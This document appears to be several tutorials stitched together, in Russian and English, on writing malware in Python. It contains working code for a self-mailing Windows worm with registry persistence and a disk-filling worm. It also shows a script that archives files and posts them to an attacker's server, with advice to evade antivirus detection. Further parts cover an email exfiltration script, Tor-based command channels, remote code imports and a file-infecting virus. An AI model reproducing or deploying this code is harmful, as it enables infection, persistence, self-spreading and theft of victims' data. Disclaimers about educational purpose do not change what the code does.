Как написать червяка на python

Приветствую!
Пытался придумать вводную — не получилось… Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как «сетевой червь» и даже напишем одного такого.

Итак, что же такое, эти ваши сетевые черви?

Если поискать на википедии, то можно найти следующее определение: «Сетевой червь — разновидность

Ссылка скрыта от гостей

, самостоятельно распространяющейся через локальные и глобальные (

Ссылка скрыта от гостей

) компьютерные сети.» и, в принципе, все верно, сетевой червь — это действительно вредоносная программа, способная воспроизводить себя на устройствах, распространяющаяся по сетевым каналам и часто, способная к самостоятельному преодолению систем защиты компьютерных сетей. При этом пользователь не подозревает о заражении своего компьютера.

Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, «безопасную» IRC.

Принцип работы сетевого червя довольно прост — вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.

Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.

!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ — плохо и можно за это понести ответственность, согласно

Ссылка скрыта от гостей

, или другой страны, в которой вы проживаете.

Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к.

я криворукий рукожоп и не могу нормально использовать другой яп

он простой и наглядный, но если есть понимание, что программа делает, то и написать её на другом ЯПе не составит труда.

Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий
5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.

С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:

Python:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication

Думаю, os, sys, requests — всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email — используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:

pip install ‘название модуля’

или

pip3 install ‘название модуля’

Теперь решим первую задачу — самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:

Python:

def main():
    # Создаем клона
    dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
    path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем
  
    if not os.path.exists(dir):
        # если директории не существует - создать и скопировать туда нашего червя
        os.makedirs(dir) # создание директории в appdata
        shutil.copy(__file__, path) # копирование программы

С этой частью — все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет — то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.

Переходим ко второй задаче — прописываем червя в автозапуск, через реестр:

Python:

    # прописываем в автозапуск, через реестр
    reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_ALL_ACCESS)
    SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
    CloseKey(reestr_path)

Готово, тут тоже все элементарно — определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название «worm».

Теперь перейдем к пунктам 3 и 4 — тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы — расскажу в следующий раз, что это, с чем это едят и как такое сделать.

Python:

    # Тригирим канарейку
    requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
  
    # получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
    instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
    with open('instruction.txt', 'wb') as f:
        shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции

Обратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:

sudo python -m SimpleHTTPServer 80

В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями «instruction.txt», который и стягивает наш червь.

1645541901984.png

Так же, вместо своего сервера, можно использовать другие средства, например — гит-репозиторий, с которого червь будит тянуть то, что нам нужно.

Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:

Python:

def Execute():
    """Функция для выполненя зловредных действий"""
    with open('README.txt', 'w', encoding='utf-8') as f:
        f.write('Belligerent worm in action')

У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл «README.txt», но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.

И вот мы наконец добрались до последнего 6 пункта — самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:

Python:

def SendMail(path):
    """Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
    # подготовка данных писма
    with open('instruction.txt', 'r') as f:
        for mail in f:
            # читаем файл с email-адресами, для рассылки построчно
            if mail != None:
                FROM = "forwormpost@gmail.com" # почта с которой будет вестись отправка
                TO = mail
                msg = MIMEMultipart()
                msg['From'] = FROM
                msg['To'] = TO
                msg['Subject'] = 'worm' # тема письма
              
                # вложение файла
                with open(path, 'rb') as f:
                    part = MIMEApplication(f.read(), Name=os.path.basename(path))
                part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
              
                msg.attach(part)
              
                # Отправка письма
                smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
                smtpOBJ.starttls()
                smtpOBJ.login(FROM, 'паорль от своей почты')
                smtpOBJ.sendmail(FROM, TO, msg.as_string())
                smtpOBJ.quit()

В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.

1645544287906.png

Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность…
Код червя целиком:

Python:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication

def main():
    # Создаем клона
    dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
    path = dir + os.path.basename(__file__) #тут будет копия программы, она же будет запускаться в дальнейшем
  
    if not os.path.exists(dir):
        os.makedirs(dir)
        shutil.copy(__file__, path)
  
    # прописываем в автозапуск, через реестр
    reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_ALL_ACCESS)
    SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
    CloseKey(reestr_path)
  
    # Тригирим канарейку
    requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
  
    # получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
    instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
    with open('instruction.txt', 'wb') as f:
        shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
  
    Execute() # выполняем зловредные действия
    SendMail(path) # начинаем процесс самовоспроизведения и распространения

  
def Execute():
    """Функция для выполненя зловредных действий"""
    with open('README.txt', 'w', encoding='utf-8') as f:
        f.write('Belligerent worm in action')

def SendMail(path):
    """Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
    # подготовка данных писма
    with open('instruction.txt', 'r') as f:
        for mail in f:
            if mail != None:
                FROM = "forwormpost@gmail.com"
                TO = mail
                msg = MIMEMultipart()
                msg['From'] = FROM
                msg['To'] = TO
                msg['Subject'] = 'worm'
              
                # вложение файла
                with open(path, 'rb') as f:
                    part = MIMEApplication(f.read(), Name=os.path.basename(path))
                part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
              
                msg.attach(part)
              
                # Отправка письма
                smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
                smtpOBJ.starttls()
                smtpOBJ.login(FROM, 'пароль от почты')
                smtpOBJ.sendmail(FROM, TO, msg.as_string())
                smtpOBJ.quit()

if __name__ == "__main__":
    main()

Запускаем и проверяем:

1645544602114.png

Червь отработал, посмотрим, что же произошло:
В папке «AppData/Roaming» появился каталог «worm» с копией нашего червя.
До:

1645544747661.png

После:

1645544760250.png

Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:

1645544843515.png

После:

1645544893523.png

Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):

1645545083649.png

1645545059004.png

Пришло сообщение о триггере канарейки

1645545225589.png

В «отправленных» появилось отправленное червем письмо:

1645545898341.png

В почтовом ящике эфемерной «жертвы» появилось письмо с вложенным червем:

1645545960963.png

1645546586717.png

Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email’ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми «жертва» вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.

Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
pyinstaller --onefile --icon='иконка приложения.ico' 'название программы'

На этом — статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как «сетевые черви» были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.

4 minute read

Worm is type of malware that replicates itself and other files to consume spaces in our hard drives. You may find your drives or partitions get full without any visible reason and that might happen because of a worm.

A Worm is different than a computer Virus in a way that typical viruses only infects files and worms replicates files and keep the duplicates out of sight (as hidden files).

In this post, we will learn what are the characteristics of a Worm by writing a basic one in python. If you are interested to write other types of malwares, you can look into my previous posts:

  • Write a Simple Virus in Python
  • A Basic Keylogger in Python
  • Write a Backdoor in Python

Requirements

We will need two modules to write a worm. Here, os is the most important module and we will utilize it to list all files and directories alongside retrieving the absolute paths.

shutil is used to copy file contents. There are obviously other ways to do it, however, I chose to do it using shutil.copyfile() method.

Worm Class

First, let’s create a Worm class and a initializer method to pass initial arguments to our created class.

class Worm:
    
    def __init__(self, path=None, target_dir_list=None, iteration=None):
        if isinstance(path, type(None)):
            self.path = "/"
        else:
            self.path = path
            
        if isinstance(target_dir_list, type(None)):
            self.target_dir_list = []
        else:
            self.target_dir_list = target_dir_list
            
        if isinstance(target_dir_list, type(None)):
            self.iteration = 2
        else:
            self.iteration = iteration
        
        # get own absolute path
        self.own_path = os.path.realpath(__file__)

Here, we have three arguments:

  • path: defines where to start looking for directories (default is set to the root directory /)
  • target_dir_list: user can pass a list of initial target directories. By default it is an empty list []
  • iteration: I used this parameter to define how many instances the worm will create for each existing file in a directory (default value is 2 only for testing purpose, you can increase or decrease the number, or better provide valur while creating an object of the class)

Method to list all Directories and Subdirectories

The first method we need is to list all the target directories and subdirectories where we want to copy our worm and existing files in the directories.

Here, I am avoiding hidden files as it includes the parent directories as well (hidden files starts with dot . in Linux or macOS). Other than that it adds a file (directories are also called as file in Unix-based file systems) if it is a directory and recursively does so for all of the subdirectories.

    def list_directories(self,path):
        self.target_dir_list.append(path)
        files_in_current_directory = os.listdir(path)
        
        for file in files_in_current_directory:
            # avoid hidden files/directories (start with dot (.))
            if not file.startswith('.'):
                # get the full path
                absolute_path = os.path.join(path, file)
                print(absolute_path)

                if os.path.isdir(absolute_path):
                    self.list_directories(absolute_path)
                else:
                    pass

Method to Replicate the Worm

To replicate the script itself in all the target directories, we get the absolute path of the script we are running, and than copy the contents in the destination directories creating a new hidden file (starts with a dot .) with the same name.

    def create_new_worm(self):
        for directory in self.target_dir_list:
            destination = os.path.join(directory, ".worm.py")
            # copy the script in the new directory with similar name
            shutil.copyfile(self.own_path, destination)

Method to copy existing Files

The following method will be used to duplicate files the number of times the value we have from the iteration argument. You can put a large number so that the hard drive will be full soon.

    def copy_existing_files(self):
        for directory in self.target_dir_list:
            file_list_in_dir = os.listdir(directory)
            for file in file_list_in_dir:
                abs_path = os.path.join(directory, file)
                if not abs_path.startswith('.') and not os.path.isdir(abs_path):
                    source = abs_path
                    for i in range(self.iteration):
                        destination = os.path.join(directory,("."+file+str(i)))
                        shutil.copyfile(source, destination)

Method to integrate everything

In this method, we will call all of our previous methods. So, when we call this method using our created object, the worm will start all the actions sequentially. If you want a timer or datetime, you can add that functionality. Just check the post: Write a Simple Virus in Python. I have added functionality in that post.

    def start_worm_actions(self):
        self.list_directories(self.path)
        print(self.target_dir_list)
        self.create_new_worm()
        self.copy_existing_files()

Main Function

Now, let’s create our main function and run the code

if __name__=="__main__":
    current_directory = os.path.abspath("")
    worm = Worm(path=current_directory)
    worm.start_worm_actions()

The whole code is available in Github

Here, to avoid getting our own drive filled up, let’s use the existing directory only using os.path.abspath(""), and pass that as argument while creating an object of the Worm class. Finally we call the integrating method and we are good to go!

You can look at other security concept tutorials in python. I have created a repository for that. I am planning to provide security concepts by writing python codes. Please feel free to put a star if you like the repository.

Intro to Cybersecurity in Python

Also, the associated blog post links are available in the ReadMe file over there.

Have a good day! Cheers!!!

Пишем червь на Python

Hacker Life

Введение

Наверно многие из читающих уже имели дело с таким термином как «сетевой червь«. Данный тип вирусов давно устарел, а самым первым разработчиком такого файла стал Роберт Тэппэн Моррис. В данной статье пойдет речь о написании такого рода вируса на языке Python. Давайте начнем!

Основы и инструменты

Прежде всего вспомним термин и расшифровку нашего вируса:

Сетевой червь — разновидность вредоносной программы, самостоятельно распространяющейся через локальные и глобальные (Интернет) компьютерные сети. Источник: Википедия

Теперь установим необходимые нам компоненты для работы, а это среда разработки, язык и зависимости.

  1. Скачиваем Python [Download]
  2. Установим IDE [Download]

Далее ставим зависимости для успешной работы (в консольном окне):

pip install pyinstaller
pip install shutil
pip install winreg
pip install requests

[*] В случае ошибки при работе установите пакеты в самой IDE нажав на значок ошибки.

Создание червя

Для начало импортируем библиотеки:

import shutil
import os
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import requests

Копируем наш файл в папку AppData:

directory = os.getenv("APPDATA") + r'/ваша_программа/'
base_file = directory + os.path.basename(__file__)

if not os.path.exists(directory):
    os.makedirs(directory)
    shutil.copy(__file__, base_file)

Дальше нам требуется, чтобы наш файл запускался при каждой активации системы. Для этого используем реестр и прописываем его туда:

path_to_reestr = OpenKey(HKEY_CURRENT_USER,
                         r'SOFTWAREMicrosoftWindowsCurrentVersionRun',
                         0, KEY_ALL_ACCESS)
SetValueEx(path_to_reestr, 'Имя файла', 0, REG_SZ, base_file)
CloseKey(path_to_reestr)

Для отправки всех данных нам потребуется упаковать это в наш архив командой:

shutil.make_archive(r'Название архива', 'zip', r'Папка')

И в завершающий момент отправляем все данные к нам на сервер:

files = {'Название архива': open('Название архива', 'rb')}
r = requests.post('Ваш сервер', files=files)

Теперь дело за малым, компиляция программы в exe вид.

Воспользуемся pyinstaller перед этим переместив наш файл на локальный диск C. Вводим команду (вы должны быть в папке с файлом):

pyinstaller -i путь до иконки --onefile имя файла.py

После этого у нас будет готовый вирус для работы. Остается доставить его жертве.

Завершение

В данной статье я попытался максимально понятно рассказать о создании вируса на Python. Единственное данный файл не рекомендуется сливать антивирусам и рекомендуется использовать дополнительную защиту от обнаружения. В остальном приятной работы!

NetWorm

forthebadge made-with-python

Python network worm that spreads on the local network and gives the attacker control of these machines.

This code is not finished and works more like a «worm template» for you to get inspiration at the moment.

You can bruteforce ssh servers, spread with USBs, etc..

Screenshots

bruteforcing local machines

Bruteforcing local machines with port 22 open.

Downloading necessary libraries

pip install -r requirements.txt

Executing

Windows & Linux:

Compilation (.exe)

Targeted machines won´t probably have python and the required libraries installed.
To run this code on other machines, you need to convert it into an executable.

I recommend the Pyinstaller library.

To use it, simply write these commands in your terminal:

pip install pyinstaller

pyinstaller worm.py

Meta

https://github.com/pylyf/NetWorm

Distributed under the MIT license.

Contributing

  1. Fork it (https://github.com/pylyf/NetWorm/fork)
  2. Create your feature branch (git checkout -b feature/fooBar)
  3. Commit your changes (git commit -am 'Add some fooBar')
  4. Push to the branch (git push origin feature/fooBar)
  5. Create a new Pull Request

Legal Advice

This repository and every script included in it is for educational and testing purposes only.
The owner nor any contributor is not responsible for your actions.

В мире  существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести  хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому  списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях?  Желание нагадить ближнему без необходимости учить C/C++?  Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные  питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами  (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть  продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на  Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python —  язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

  • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор,  ваш код + все необходимые зависимости. 
  • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в  С и потом компилирует его. 

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса,  виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник.  Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить. 

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать  сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor. 

Для обмена данными с хозяевами вирусы используют библиотеку torpy.  В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным  и получаешь апдейты к вирусу или команды.

from torpy import TorClient

hostname = 'ifconfig.me'  # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
    # Create tor stream to host
    with circuit.create_stream((hostname, 80)) as stream:
        # Now we can communicate with host
        stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
        recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами  Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV.  Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py

"Grab the whole screen"
import pyscreenshot as ImageGrab

# grab fullscreen
im = ImageGrab.grab()

# save image file
im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов  тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем.  Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы.  Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения. 

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше!  Но самый  простой в реализации  способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
...     import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
...     import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.



import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты. 

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Просмотры: 2 967

14 minute read

teaser

I was relaxing on a beach during my summer leave when I received a mail from a reader that asked me if it is technically possible to write a virus using Python.

The short answer: YES.

The longer answer: yes, BUT…

Let’s start by saying that viruses are a little bit anachronistic in 2021… nowadays other kinds of malware (like worms for example) are far more common than viruses. Moreover, modern operative systems are more secure and less prone to be infected than MS-DOS or Windows 95 were (sorry Microsoft…) and people are more aware of the risk of malware in general.

Moreover, to write a computer virus, probably Python is not the best choice at all. It’s an interpreted language and so it needs an interpreter to be executed. Yes, you can embed an interpreter to your virus but your resulting virus will be heavier and a little clunky… let’s be clear, to write a virus probably other languages that can work to a lower level and that can be compiled are probably a better choice and that’s why in the old days it was very common to see viruses written in C or Assembly.

That said, it is still possible to write computer viruses in Python, and in this article, you will have a practical demonstration.

I met my first computer virus in 1988. I was playing an old CGA platform game with my friend Alex, that owned a wonderful Olivetti M24 computer (yes, I’m THAT old…) when the program froze and a little ball started to go around the screen. We had never seen anything like that before and so we didn’t know it back then, but we were facing the Ping-Pong virus one of the most famous and common viruses ever… at least here in Italy.

Now, before start, you know I have to write a little disclaimer.


This article will show you that a computer virus in Python is possible and even easy to be written. However, I am NOT encouraging you to write a computer virus (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that HARMING AN IT SYSTEM IS A CRIME!


Now, we can proceed.

According to Wikipedia…

a computer virus is a computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be “infected” with a computer virus, a metaphor derived from biological viruses.

That means that our main goal when writing a virus is to create a program that can spread around and replicate infecting other files, usually bringing a “payload”, which is a malicious function that we want to execute on the target system.

Usually, a computer virus does is made by three parts:

  1. The infection vector: this part is responsible to find a target and propagates to this target
  2. The trigger: this is the condition that once met execute the payload
  3. The payload: the malicious function that the virus carries around

Let’s start coding.

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

Let’s analyze this code.

First of all, we call the get_virus_code() function, which returns the source code of the virus taken from the current script.

Then, the find_files_to_infect() function will return the list of files that can be infected and for each file returned, the virus will spread the infection.

After the infection took place, we just call the summon_chaos() function, that is — as suggested by its name — the payload function with the malware code.

That’s it, quite simple uh?

Obviously, everything has been inserted in a try-except block, so that to be sure that exceptions on our virus code are trapped and ignored by the pass statement in the except block.

The finally block is the last part of the virus, and its goal is to remove used names from memory so that to be sure to have no impact on how the infected script works.

Okay, now we need to implement the stub functions we have just created! :)

Let’s start with the first one: the get_virus_code() function.

To get the current virus code, we will simply read the current script and get what we find between two defined comments.

For example:

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

Now, let’s implement the find_files_to_infect() function. Here we will write a simple function that returns all the *.py files in the current directory. Easy enough to be tested and… safe enough so as not to damage our current system! :)

import glob

def find_files_to_infect(directory = "."):
    return [file for file in glob.glob("*.py")]

This routine could also be a good candidate to be written with a generator. What? You don’t know generators? Let’s have a look at this interesting article then! ;)

And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this:

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
            infected_file.write("".join(virus_code))
            infected_file.writelines(data)

Now, all we need is to add the payload. Since we don’t want to do anything that can harm the system, let’s just create a function that prints out something to the console.

def summon_chaos():
  # the virus payload
  print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")

Ok, our virus is ready! Let’s see the full source code:

# begin-virus

import glob

def find_files_to_infect(directory = "."):
